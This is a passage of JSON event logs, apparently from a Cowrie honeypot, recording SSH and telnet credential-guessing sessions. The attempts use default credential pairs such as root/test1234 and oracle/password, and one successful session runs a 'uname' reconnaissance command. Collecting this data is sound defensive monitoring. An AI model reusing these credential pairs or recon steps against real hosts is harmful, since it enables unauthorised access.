0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:44.430336Z","src_ip":"176.65.132.129","session":"2934801b6218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:44.683765Z","src_ip":"176.65.132.129","session":"2934801b6218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:45.770554Z","src_ip":"176.65.132.129","session":"2934801b6218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47230,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6952a651296","protocol":"ssh","message":"New connection: 176.65.132.129:47230 (159.203.135.109:22) [session: c6952a651296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:47.701167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:47.705160Z","src_ip":"176.65.132.129","session":"c6952a651296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:47.786849Z","src_ip":"176.65.132.129","session":"c6952a651296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:48.033381Z","src_ip":"176.65.132.129","session":"c6952a651296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48480,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa20628a446a","protocol":"telnet","message":"New connection: 45.58.127.90:48480 (10.17.0.5:23) [session: fa20628a446a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:48.880081Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:49.117293Z","src_ip":"176.65.132.129","session":"c6952a651296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47234,"dst_ip":"159.203.135.109","dst_port":22,"session":"037b371bde09","protocol":"ssh","message":"New connection: 176.65.132.129:47234 (159.203.135.109:22) [session: 037b371bde09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:51.032799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:51.036808Z","src_ip":"176.65.132.129","session":"037b371bde09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:51.156118Z","src_ip":"176.65.132.129","session":"037b371bde09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:51.595831Z","src_ip":"176.65.132.129","session":"037b371bde09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.35475420951843,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:52.266803Z","src_ip":"45.58.127.90","session":"739fb1dfc197","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:52.679873Z","src_ip":"176.65.132.129","session":"037b371bde09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47246,"dst_ip":"159.203.135.109","dst_port":22,"session":"cec7a54d0d3e","protocol":"ssh","message":"New connection: 176.65.132.129:47246 (159.203.135.109:22) [session: cec7a54d0d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:54.658224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:54.661846Z","src_ip":"176.65.132.129","session":"cec7a54d0d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:54.745698Z","src_ip":"176.65.132.129","session":"cec7a54d0d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123456","message":"login attempt [frappe/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:54.994364Z","src_ip":"176.65.132.129","session":"cec7a54d0d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.970834493637085,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:55.967231Z","src_ip":"45.58.127.90","session":"874160951024","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:56.084273Z","src_ip":"176.65.132.129","session":"cec7a54d0d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.616657733917236,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:57.824039Z","src_ip":"45.58.127.90","session":"3e5e5fb3da2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35068,"dst_ip":"159.203.135.109","dst_port":22,"session":"1906a4a9dad4","protocol":"ssh","message":"New connection: 176.65.132.129:35068 (159.203.135.109:22) [session: 1906a4a9dad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:58.014490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:58.018490Z","src_ip":"176.65.132.129","session":"1906a4a9dad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:58.101261Z","src_ip":"176.65.132.129","session":"1906a4a9dad4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:58.351051Z","src_ip":"176.65.132.129","session":"1906a4a9dad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:07:59.436140Z","src_ip":"176.65.132.129","session":"1906a4a9dad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35088,"dst_ip":"159.203.135.109","dst_port":22,"session":"178546a968e4","protocol":"ssh","message":"New connection: 176.65.132.129:35088 (159.203.135.109:22) [session: 178546a968e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:01.341727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:01.346543Z","src_ip":"176.65.132.129","session":"178546a968e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:01.434526Z","src_ip":"176.65.132.129","session":"178546a968e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:01.685650Z","src_ip":"176.65.132.129","session":"178546a968e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:02.773218Z","src_ip":"176.65.132.129","session":"178546a968e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35114,"dst_ip":"159.203.135.109","dst_port":22,"session":"d68ce21957d0","protocol":"ssh","message":"New connection: 176.65.132.129:35114 (159.203.135.109:22) [session: d68ce21957d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:04.711029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:04.715883Z","src_ip":"176.65.132.129","session":"d68ce21957d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:04.920554Z","src_ip":"176.65.132.129","session":"d68ce21957d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.10","src_port":45366,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f2ed23b0a3e","protocol":"telnet","message":"New connection: 65.49.1.10:45366 (159.203.135.109:23) [session: 1f2ed23b0a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.081905Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.086866Z","src_ip":"65.49.1.10","session":"1f2ed23b0a3e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.090544Z","src_ip":"65.49.1.10","session":"1f2ed23b0a3e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.093885Z","src_ip":"65.49.1.10","session":"1f2ed23b0a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35420,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f91389e3b73","protocol":"telnet","message":"New connection: 45.58.127.90:35420 (10.17.0.5:23) [session: 8f91389e3b73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.139634Z"}
{"eventid":"cowrie.session.closed","duration":0.08911681175231934,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.170907Z","src_ip":"65.49.1.10","session":"1f2ed23b0a3e","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.297360Z","src_ip":"176.65.132.129","session":"d68ce21957d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35434,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a43ed73cc48","protocol":"telnet","message":"New connection: 45.58.127.90:35434 (10.17.0.5:23) [session: 8a43ed73cc48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.397229Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.505843Z","src_ip":"176.65.132.129","session":"d68ce21957d0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.509753Z","src_ip":"176.65.132.129","session":"d68ce21957d0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.596273Z","src_ip":"176.65.132.129","session":"d68ce21957d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:05.601591Z","src_ip":"176.65.132.129","session":"d68ce21957d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36464,"dst_ip":"159.203.135.109","dst_port":22,"session":"65064c297dad","protocol":"ssh","message":"New connection: 176.65.132.129:36464 (159.203.135.109:22) [session: 65064c297dad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:08.368517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:08:08.372402Z","src_ip":"176.65.132.129","session":"65064c297dad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 